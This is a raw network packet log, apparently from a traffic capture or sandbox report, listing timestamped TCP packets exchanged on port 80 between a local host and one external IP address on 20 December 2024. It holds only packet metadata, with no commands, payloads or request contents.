Dec 20, 2024 04:12:26.443448067 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.443496943 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.443547964 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.443598986 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.447959900 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.448008060 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.448107958 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.448154926 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.452430964 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.452493906 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.452498913 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.452543974 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.456993103 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.457041025 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.457103014 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.457149029 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.461525917 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.461577892 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.461623907 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.461668968 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.480220079 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.480506897 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.552700996 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.552769899 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.552781105 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.552850962 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.554507971 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.554555893 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.554589987 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.554635048 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.557260990 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.557320118 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.557466984 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.557511091 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.560847044 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.560893059 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.560980082 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.561029911 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.564392090 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.564455032 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.564496994 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.564543009 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.567877054 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.567900896 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.567960978 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.567979097 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.571243048 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.571305990 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.571347952 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.571399927 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.574508905 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.574600935 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.574615955 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.574686050 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.577699900 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.577752113 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.577754974 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.577795982 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.580895901 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.580967903 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.580974102 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.581012011 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.584028959 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.584096909 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.584111929 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.584182978 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.587085962 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.587135077 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.587295055 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.587342024 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.590140104 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.590188980 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.590244055 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.590307951 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.593123913 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.593198061 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.593225002 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.593432903 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.596121073 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.596175909 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.596221924 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.596271038 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.599117994 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.599168062 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.599210024 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.599256039 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.602104902 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.602155924 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.602205038 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.602252007 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.605092049 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.605159998 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.605221033 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.605268002 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.608108044 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.608155966 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.608191967 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.608239889 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.609843016 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.609889984 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.609931946 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.609977007 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.611597061 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.611643076 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.611677885 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.611721039 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.613347054 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.613393068 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.613523006 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.613569975 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.615092039 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.615138054 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.615145922 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.615207911 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.616847992 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.616894960 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.616938114 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.616982937 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.618593931 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.618638039 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.618711948 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.618760109 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.620352983 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.620399952 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.620434046 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.620482922 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.622108936 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.622153997 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.622195959 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.622240067 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.623848915 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.623894930 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.623938084 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.623984098 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.625569105 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.625626087 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.625704050 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.625750065 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.627331018 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.627374887 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.627439022 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.627485037 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.629086018 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.629132032 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.629173994 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.629219055 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.630827904 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.630872011 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.630876064 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.630923033 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.632555962 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.632607937 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.632678032 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.632723093 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.634331942 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.634401083 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.634429932 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.634475946 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.636045933 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.636106014 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.636140108 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.636188030 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.637861967 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.637909889 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.637950897 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.637998104 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.639571905 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.639619112 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.639748096 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.639795065 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.641314983 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.641355991 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.641402006 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.641448021 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.643071890 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.643117905 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.643182039 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.643229961 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.644814014 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.644865036 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.644906044 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.644951105 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.646548986 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.646609068 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.744719982 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.744764090 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.744790077 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.744813919 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.745245934 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.745294094 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.745330095 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.745376110 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.746972084 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.747019053 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.747100115 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.747144938 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.748728037 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.748775959 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.748826027 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.748873949 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.750462055 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.750509024 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.750581980 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.750627995 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.752170086 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.752222061 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.752288103 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.752334118 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.753866911 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.753916025 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.753971100 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.754017115 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.755522013 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.755575895 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.755584002 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.755620003 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.757118940 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.757169008 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.757236004 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.757280111 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.758793116 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.758838892 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.758930922 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.758975983 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.760355949 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.760407925 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.760457039 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.760499954 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.761908054 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.761955976 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.762048960 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.762089968 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.763434887 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.763485909 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.763528109 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.763588905 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.764934063 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.764987946 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.765017033 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.765060902 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.769447088 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.769462109 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.769476891 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.769493103 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.769515991 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.769556999 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.770771027 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.770819902 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.770935059 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.770982027 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.772160053 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.772207022 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.772305012 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.772350073 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.773575068 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.773591042 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.773622990 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.773636103 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.775024891 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.775041103 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.775078058 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.776441097 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.776458025 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.776489973 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.776515961 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.777770042 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.777786970 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.777817011 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.777832031 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.777920961 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.777967930 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.778028011 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.778074980 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.779361963 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.779406071 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.779464006 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.779524088 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.780807972 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.780854940 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.780896902 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.780941963 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.782254934 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.782304049 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.782371044 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.782418966 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.783684969 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.783730984 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.783791065 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.783838034 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.785106897 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.785160065 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.785247087 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.785291910 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.786578894 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.786627054 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.786669016 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.786715031 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.788003922 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.788050890 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.788093090 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.788140059 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.789441109 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.789485931 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.789547920 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.789604902 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.790868998 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.790914059 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.790986061 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.791033983 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.792356014 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.792428970 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.792470932 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.792519093 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.793761969 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.793807030 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.793812990 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.793870926 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.795224905 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.795275927 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.795320034 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.795367956 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.796643972 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.796693087 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.796694040 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.796740055 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.798063040 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.798110962 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.798180103 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.798224926 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.800422907 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.800487995 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.800529957 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.800576925 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.800923109 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.800971031 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.801022053 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.801065922 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.802831888 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.802849054 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.802882910 CET	49810	80	192.168.2.4	31.41.244.11
